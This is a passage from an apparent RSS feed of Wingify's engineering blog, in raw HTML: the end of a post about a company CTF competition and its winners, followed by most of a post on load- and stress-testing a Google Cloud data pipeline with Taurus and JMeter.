2px 2px 10px 1px #aaa"> </div> <h2 id="a-hard-fought-battle" style="position:relative;"><a href="#a-hard-fought-battle" aria-label="a hard fought battle permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>A hard-fought battle</h2> As the event started, the challenge was fierce among the teams. Some teams quickly went through the easy challenges. Team Kenshin had the lead from the start as they had solved the USA challenge and earned 1500 points in one go. Our team, Tripod, had split the challenges individually. Each one analyzing the challenges and attempting to solve them. We got scared as we saw our competitors quickly going through the easy challenges and up in rankings. Soon, we put our minds together and started solving each challenge. Along with us, Team Zion was also nowhere near the top 5 in the initial 30 minutes. Anyway, as time progressed, we consistently kept solving the problems and got to the top position. We were able to solve all problems in around 50 minutes before the scheduled time. As we looked at the leaderboard, the other teams were at least 3000 points behind us. We eagerly waited to see who would come second. The battle for the second position went on for a photo finish fight between Zion, Kenshin, and Fed up dangi, but in the end, Zion came up victorious. Team Tripod and Team Zion were declared as CTF winners at 3 pm. <div style="text-align:center; margin: 10px;width: 80%; margin: auto"> <img src="/images/2021/05/ctf-score.png" style="box-shadow: 2px 2px 10px 1px #aaa"> <img src="/images/2021/05/ctf-winners.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> <h2 id="conclusion" style="position:relative;"><a href="#conclusion" aria-label="conclusion permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Conclusion</h2> CTF 2k21 at Wingify was an amazing experience and a great chance for learning. Competing with the whole engineering team with time running against us was exhilarating and finally, winning was something that made us happy. Solving challenges has become our second nature, so it was fun to solve challenges in a new way with a competition to win, and the adrenaline rush as we went through each puzzle was very exciting. Everyone at Wingify enjoyed it, even in the remote setup. The COVID care half-day off after the event made it a Friday well spent and a kick start to a great weekend. Stay safe and stay home!</content:encoded><author>Nikhil Garg, Brayan Abraham and Pranav Jindal</author></item><item><title><![CDATA[Performance Testing a data pipeline at scale]]></title><description><![CDATA[Introduction At VWO, we get traffic at a very high throughput (22K req/sec) to our servers. The data pipeline crunches and transforms the…]]></description><link>https://engineering.wingify.com//posts/performance-testing-a-data-pipeline-at-scale/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/performance-testing-a-data-pipeline-at-scale/</guid><pubDate>Tue, 22 Dec 2020 00:00:00 GMT</pubDate><content:encoded><div style="text-align:center; margin: 10px; display: none"> <img src="/images/2022/12/qaWingify.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> <h2 id="introduction" style="position:relative;"><a href="#introduction" aria-label="introduction permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Introduction</h2> At VWO, we get traffic at a very high throughput (22K req/sec) to our servers. The data pipeline crunches and transforms the data into meaningful information and stores it in the database. We recently started building another data pipeline to scale things up. Apart from the functional aspects, the QA team must ensure that the data pipeline performs well without compromising the integrity, completeness, accessibility of the data, and the cost incurred in obtaining it. To better understand the performance of the system, we will logically divide the data architecture into two parts: the Read Layer and the Write Layer. This blog discusses mainly the Write layer. It comprises the DACDN -> Google Cloud PubSub -> Google Cloud Data Flow -> Data Sinks (BigQuery, Apache Druid, PostgreSQL). <h3 id="architecture-in-brief" style="position:relative;"><a href="#architecture-in-brief" aria-label="architecture in brief permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Architecture in brief</h3> <ul> <li><a href="https://engineering.wingify.com/posts/dynamic-cdn/">DACDN</a> (Data Acquisition and Content Delivery Network): This service at VWO is responsible for serving content to visitors as well as collecting the data.</li> <li><a href="https://cloud.google.com/pubsub/docs/overview">Google Cloud PubSub</a>: Pub/Sub is a fully-managed real-time messaging service that allows you to send and receive messages between independent applications. You can use Pub/Sub as messaging-oriented middleware or event ingestion and delivery for streaming analytics pipelines.</li> <li><a href="https://cloud.google.com/dataflow">Google Cloud Dataflow</a>: Dataflow is a fully managed streaming analytics service that minimizes latency, processing time, and cost through autoscaling and batch processing.</li> <li>Data Sinks: These are the databases in which the data is stored ultimately, after various transformations.</li> </ul> <hr> <h2 id="performance-test-plan" style="position:relative;"><a href="#performance-test-plan" aria-label="performance test plan permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Performance Test Plan</h2> Having a concrete testing plan before starting a performance test is essential. It helps in concluding the test in a timely and organized manner. We outlined the following approach for our performance testing activity. <ul> <li>Baseline test: A baseline test is conducted to compare the performance of the system with its historical performance. We decided to go with the current production metrics for the throughput of various APIs as a baseline.</li> <li>Load test: After getting the throughput metrics from production, the load test was conducted for 2x, 3x of the baseline, which we increased to 5x.</li> <li>Spike test: As our Google Cloud DataFlow pipeline automatically scales up based on the throughput, we conducted spike tests to account for the unintentional behavior during spikes.</li> <li>Stress test: We conducted a stress test to find out the breaking point of the system.</li> </ul> <h2 id="performance-test-setup" style="position:relative;"><a href="#performance-test-setup" aria-label="performance test setup permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Performance Test Setup</h2> We have some prior experience in performance testing as we have done it for our earlier data pipelines. But this time, we wanted to overcome the shortcomings in our previous approach. <h3 id="performance-testing-tool" style="position:relative;"><a href="#performance-testing-tool" aria-label="performance testing tool permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Performance Testing Tool</h3> We have been using <a href="https://jmeter.apache.org/">Apache JMeter</a> a lot for our functional and performance testing. But JMeter has its limitations in reporting and real-time monitoring. Also, there is a tedious setup involved with JMeter if we want real-time monitoring of the metrics (can be done with <a href="https://jmeter.apache.org/usermanual/component_reference.html#Backend_Listener">JMeter backend listener</a>, InfluxDB, and Grafana). However, this setup was unsuccessful due to several reasons which are out of the scope of this blog. Hence, we researched many performance testing tools available in the market and decided to go with Taurus. Apart from the distributed setup, reporting, and real-time monitoring advantages, we chose Taurus as the team had prior experience in scripting in Apache JMeter, and Taurus can run the same JMeter scripts without any issues. There would have been a learning curve involved if we had gone for any other performance testing tool. <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/2cdbef6d4b6f2ebba5c296010b6602f0/1df5b/pt_datalayer_1.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 47.97687861271676%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsSAAALEgHS3X78AAACQElEQVQoz12Sy27TUBRF/S2odWzHj+vr2PEjdZrYbZIqTdo0rfqgQBCVKAgxYAAMQIxgwpRRfwI+gq/gYxbHjsSAwZGOrXvX3XufY4RhRJFHzA77pP2IKNIE8m96cc94fknguxSjGcc3b9G9hKifUa83pPtT3K5HoDSep/B9Jd82hmlaxJHL/Sbj1fOCQa7pdCyyLCWOY+k7aK2p64ogCLBtC9d1UKFLkgaUw35b+SDBUzGGbTty0OXh+yG/f62YHiTsmjZ2Z0fKxHG6+J5LFAaixKPr2Ow+2mGv9Hhyl3Bxq1lduZxeZ+ydvMTQUUAiNlfzjNurgiyNxHKP0eIpRb0kVD7Z8JDxyQale8RpwfD4KdPVnOtnMWfXEYu1AOVuuXyB0SjQYjnJbMnHIdSKbtelmswpR7VYtMVawdFiLTYlr8AjSlPGk5SbTcJagEsBnlzmDJd3GB2xF2qb1+9NPnyzGJRdzF2rDbixZ1mWDKZLnvZwHUsisDF3TIqB4uJxLrCY2cJnfibK57cYSoViRXH/zuHj1w770zFdLxKVjpTkp2Tyg4nUFJ3XrfoGqnVEng9keDlJ0icU9YHvYQS+TyDZRMU5enBDdXTO+GBCWZZyOJM4EvrllP3JKWU9bwfjOM52QPLg9mHnnwDDsjrS+Iw+/WT24w/18kp2smZ/NCLp98W20+5injV7mrSgJlfXdVtAA9+Ct73RHFB+wOmbL6w+P1DN5tRVRVVtob1eT1TK8heDVrFSqoX6cud/YFN/AZxbUE7fwz8IAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="pt datalayer 1" title="pt datalayer 1" src="/static/2cdbef6d4b6f2ebba5c296010b6602f0/1e043/pt_datalayer_1.png" srcset="/static/2cdbef6d4b6f2ebba5c296010b6602f0/991de/pt_datalayer_1.png 173w, /static/2cdbef6d4b6f2ebba5c296010b6602f0/e4d6b/pt_datalayer_1.png 345w, /static/2cdbef6d4b6f2ebba5c296010b6602f0/1e043/pt_datalayer_1.png 690w, /static/2cdbef6d4b6f2ebba5c296010b6602f0/e3189/pt_datalayer_1.png 1035w, /static/2cdbef6d4b6f2ebba5c296010b6602f0/b1001/pt_datalayer_1.png 1380w, /static/2cdbef6d4b6f2ebba5c296010b6602f0/1df5b/pt_datalayer_1.png 1999w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> <div style="margin: 10px;"> Taurus </div> </div> <h3 id="load-calculator" style="position:relative;"><a href="#load-calculator" aria-label="load calculator permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Load calculator</h3> Due to the nature of the business VWO is in, we need to keep the data accurate, even at a larger scale. We must know the exact number of various API calls made to the server so the same can be validated after the load has ended. For this, we created simple load calculators in Google Sheets using different Mathematical functions. Given the number of users/threads and the number of days for which the visitor data would be simulated, the calculator would give us the exact number of API calls for each sampler and the duration of the test for given values. <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/9cadbe6ad1786c6ccb6765e55207a4e7/cf899/pt_datalayer_2.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 26.589595375722546%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsSAAALEgHS3X78AAAA5UlEQVQY042MXW6DMBCEuf+xQgIH6EOKjbGBQtNCDP4JAQk0XVtt1ceuNJpvVruTSM6gyhKSMVSsiKw4j1mVnJhBFK+Id6ROyXhXixKtrGjP0Tc19vWJMMlZKJyrGpemRxqclLXvSFWHVDTI+hGnqsWl7pDfRmRvN5xKGXNkXiEnz+n/ZdBI2OeIIDEZFN/Mhjuug8H1gzT6yNI4KLfEO3GfIGdLbCMLbeKP0jMSqzXcPGH1Ht7MMJSfzmGxFm7SWJzBvq347ySeihzJhAIqCtk/HjEHt7Rbtw3HcWD/0f6Hf3d79C98xHX+DqThGgAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="pt datalayer 2" title="pt datalayer 2" src="/static/9cadbe6ad1786c6ccb6765e55207a4e7/1e043/pt_datalayer_2.png" srcset="/static/9cadbe6ad1786c6ccb6765e55207a4e7/991de/pt_datalayer_2.png 173w, /static/9cadbe6ad1786c6ccb6765e55207a4e7/e4d6b/pt_datalayer_2.png 345w, /static/9cadbe6ad1786c6ccb6765e55207a4e7/1e043/pt_datalayer_2.png 690w, /static/9cadbe6ad1786c6ccb6765e55207a4e7/e3189/pt_datalayer_2.png 1035w, /static/9cadbe6ad1786c6ccb6765e55207a4e7/b1001/pt_datalayer_2.png 1380w, /static/9cadbe6ad1786c6ccb6765e55207a4e7/cf899/pt_datalayer_2.png 1513w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> <div style="margin: 10px;"> Load calculator </div> </div> <h3 id="documentation-of-the-test-results" style="position:relative;"><a href="#documentation-of-the-test-results" aria-label="documentation of the test results permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Documentation of the test results</h3> Performance testing is incomplete without the documentation of test results. Create report templates as per your business requirements, which are easy to understand and yet provide a detailed description. We created the following load testing report template. <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/6534c75ef67738411f7aca389c00201f/bbdb4/pt_datalayer_3.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 41.61849710982659%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsSAAALEgHS3X78AAABFklEQVQoz6VR2W7EIAzk/7+zm3RDAoQjkHC4Hme1D1WrPhTJ4poZ22MVY6ScC/Ux6L9reT5IbcbR9KnJhySx+0jneZF1ntKRKaZD3pBUr1bOeF+ZV8pJgTl6s4LrXJPy3jPZ8UegaZ5J65VJnoy1TDxo24xETEn+fIgEjnM75VIosVBm4VobtdZJ6dXQyhkAXpaFdy0BUs6ZCYkj0sHirTVpbbzsGd9swl2hNVQIgcIZMxMhNEan3u+AEPa/FjDK7V78ggcIeBLicfu5h9sbBsI7x/cQk2A833cf5A18tP2u8GN6cttO/MFAKlckIb7cbRoewmNeCEOE6HXVNwaBpCJYa2V/skzu4vNPC0BM2dhdKoXAb7gvRQ9u8vHMEMgAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="pt datalayer 3" title="pt datalayer 3" src="/static/6534c75ef67738411f7aca389c00201f/1e043/pt_datalayer_3.png" srcset="/static/6534c75ef67738411f7aca389c00201f/991de/pt_datalayer_3.png 173w, /static/6534c75ef67738411f7aca389c00201f/e4d6b/pt_datalayer_3.png 345w, /static/6534c75ef67738411f7aca389c00201f/1e043/pt_datalayer_3.png 690w, /static/6534c75ef67738411f7aca389c00201f/e3189/pt_datalayer_3.png 1035w, /static/6534c75ef67738411f7aca389c00201f/b1001/pt_datalayer_3.png 1380w, /static/6534c75ef67738411f7aca389c00201f/bbdb4/pt_datalayer_3.png 1805w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> <div style="margin: 10px;"> Documenting test results </div> </div> With <a href="https://gettaurus.org/">Taurus</a>, the reporting part is partly taken care of as it provides the reporting functionality from Blazemeter for free which is available for 7 days. <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/bf4a99bc8d7e6b94388b424996c97b12/ca3c3/pt_datalayer_4.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 17.341040462427745%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsSAAALEgHS3X78AAAAkklEQVQI1y2OUQ7EIAhEe/+jbtJua0URlbfY7gdhYMJjtuM0mhk4SDu5yid6Rs+Eiaw1cxgqB9Y7czpWdrRmpjs1de6rMMYIb7JdSVFVfAFrIuUzHjQsCzVqjMnoDbl3atXnsJULyZk+ejwKYBIsQj3A1jophdnfXqTic+WCEoAiSrWb3L7Pzn3yuks7/p+WXsAfH9HqtNX8zu4AAAAASUVORK5CYII=&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="pt datalayer 4" title="pt datalayer 4" src="/static/bf4a99bc8d7e6b94388b424996c97b12/1e043/pt_datalayer_4.png" srcset="/static/bf4a99bc8d7e6b94388b424996c97b12/991de/pt_datalayer_4.png 173w, /static/bf4a99bc8d7e6b94388b424996c97b12/e4d6b/pt_datalayer_4.png 345w, /static/bf4a99bc8d7e6b94388b424996c97b12/1e043/pt_datalayer_4.png 690w, /static/bf4a99bc8d7e6b94388b424996c97b12/e3189/pt_datalayer_4.png 1035w, /static/bf4a99bc8d7e6b94388b424996c97b12/b1001/pt_datalayer_4.png 1380w, /static/bf4a99bc8d7e6b94388b424996c97b12/ca3c3/pt_datalayer_4.png 1850w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> <div style="margin: 10px;"> A snippet from the Blazemeter report </div> </div> <h3 id="calibration" style="position:relative;"><a href="#calibration" aria-label="calibration permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Calibration</h3> Calibration is done initially to get the highest amount of load from your test scripts as well as the test machine (The machine on which the load scripts will be running). There is only a limited number of users that a machine of a set configuration can handle. One must know the optimum amount of load/throughput that can be generated from a machine. <h3 id="monitoring" style="position:relative;"><a href="#monitoring" aria-label="monitoring permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Monitoring</h3> As we are interested in the performance of a data pipeline, some key metrics for us are: <h4 id="lag" style="position:relative;"><a href="#lag" aria-label="lag permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lag</h4> Lag for Google Cloud DataFlow is the maximum time that an item of data has been awaiting processing. Increased lag in the system has consequences including but not limited to data freshness. The most recent data sent to the system will not be available for reading and it indicates a problem that the messages are not being consumed at the same or greater rate as they are being pushed into the system. <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/c03d2b3941552b74d8f75e93c3b981fc/b5cea/pt_datalayer_5.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 46.24277456647399%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsSAAALEgHS3X78AAABMklEQVQoz32S63KCMBCFef9XdLCOYkEIMZBkEwJ4upu2Km3tjzOHXXY+9kJR1zXKssThcMDxeERVVdjv99jtdjifz0gpYZqm7BtND5f38zznuFiWBbfbDeu6Qp7FRZKTWIr/VHq4gIwxcM6hkGSMcVMs8c/cswRAY0BwAZFiFgVCCAHFr1FeKINmBg0hw5xmgA3whnLuPvLLkb52s+mMga738FfKXYkLVPRd8w9wC0/cAQ2Uu7PK5fzYOsTwtE8BSpszf3lOW8lBcp5BSwpYoke0n/EUtv68loJ4kaMnOOJ9ELE45nGM0VDtCarroN8rVG8lzDDye8fXHGGdZTfsjo9B92MV1nuowWHgi/Vaswy0JSiloBqFumEg/xJN26E3PZpLg7a7MNzAXLnmqqF1fx/5A6giuhJQJ1FzAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="pt datalayer 5" title="pt datalayer 5" src="/static/c03d2b3941552b74d8f75e93c3b981fc/1e043/pt_datalayer_5.png" srcset="/static/c03d2b3941552b74d8f75e93c3b981fc/991de/pt_datalayer_5.png 173w, /static/c03d2b3941552b74d8f75e93c3b981fc/e4d6b/pt_datalayer_5.png 345w, /static/c03d2b3941552b74d8f75e93c3b981fc/1e043/pt_datalayer_5.png 690w, /static/c03d2b3941552b74d8f75e93c3b981fc/e3189/pt_datalayer_5.png 1035w, /static/c03d2b3941552b74d8f75e93c3b981fc/b5cea/pt_datalayer_5.png 1140w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> <div style="margin: 10px;"> System lag for load pipelines </div> </div> <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/dbe3fec4380b74e301ec01e701447ee9/29114/pt_datalayer_6.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 56.06936416184971%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAA2klEQVQoz6VQi47DIAzj/z/1tm5XICUPIGdotYc0aTvNTa2Y4EAIrTUzA7t7790/BjaHm7Dm15Uuy7mUUife+u9mqX5Z8+n0E2OEc7/Lp2Y2j3lbfweq2f167u31NBYwJqK2TmyZChExi9k8epS6WCdpSPBrHXKI2S6I1cIm1kSUpYpWeHfeigxmhIoYcuKaC0ojVC3EmFKKqqKATJ65iOScjsVjfcLwKR51WZZAOdE2sD/SI5gZm8Bo9FztmAsDhrIdZjTtz4AHZpnHwvxYgoQl7GJ0+z+Cf4E/cMiJki54LyoAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="pt datalayer 6" title="pt datalayer 6" src="/static/dbe3fec4380b74e301ec01e701447ee9/1e043/pt_datalayer_6.png" srcset="/static/dbe3fec4380b74e301ec01e701447ee9/991de/pt_datalayer_6.png 173w, /static/dbe3fec4380b74e301ec01e701447ee9/e4d6b/pt_datalayer_6.png 345w, /static/dbe3fec4380b74e301ec01e701447ee9/1e043/pt_datalayer_6.png 690w, /static/dbe3fec4380b74e301ec01e701447ee9/e3189/pt_datalayer_6.png 1035w, /static/dbe3fec4380b74e301ec01e701447ee9/b1001/pt_datalayer_6.png 1380w, /static/dbe3fec4380b74e301ec01e701447ee9/29114/pt_datalayer_6.png 1920w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> <div style="margin: 10px;"> Lag in pipelines </div> </div> <h4 id="number-of-vcpus-in-use-for-a-pipeline" style="position:relative;"><a href="#number-of-vcpus-in-use-for-a-pipeline" aria-label="number of vcpus in use for a pipeline permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Number of vCPUs in use for a 